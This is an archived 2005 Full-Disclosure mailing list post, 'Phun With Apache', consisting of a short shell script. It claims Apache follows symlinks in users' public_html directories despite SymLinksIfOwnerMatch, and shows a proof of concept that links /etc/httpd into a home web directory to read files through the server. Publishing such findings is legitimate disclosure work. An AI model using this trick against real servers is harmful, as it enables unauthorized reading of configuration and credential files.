full-disclosure - Phun With Apache

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <5876.66.108.141.148.1112347195.squirrel@www.willhackforfood.biz>
Date: Fri Apr  1 10:20:01 2005
From: duper at willhackforfood.biz (duper@...lhackforfood.biz)
Subject: Phun With Apache

#!/bin/sh
## Apache follows symbolic links referenced by public_html!
## Even when SymLinksifOwnerMatch is set and FollowSymLinks is not!
## A super-easy way to gain read access on files owned by the apache user!
ln -s /etc/httpd ~/public_html
lynx http://localhost/~duper/passwd